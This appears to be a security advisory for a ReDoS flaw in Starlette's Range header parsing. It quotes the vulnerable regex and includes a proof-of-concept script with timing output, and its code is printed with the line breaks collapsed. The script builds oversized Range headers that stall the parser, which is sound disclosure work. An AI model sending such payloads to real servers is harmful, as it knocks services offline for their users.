GHSA-7f5h-v6xp-fcq8

# starlette/responses.py _RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split("=", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != ("", "") ]

#!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1) def build_payload(length: int) -> str: """Build the Range header value body: '0' * num_zeros + '0-'""" return ("0" * length) + "a-" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = "bytes=" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f"[DEBUG] range_body length: {len(range_body)} bytes") elapsed_time = test(header, file_size) print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n") if __name__ == "__main__": print(f"[INFO] Starlette Version: {starlette.__version__}") for n in [5000, 10000, 20000, 40000]: run_once(n) """ $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """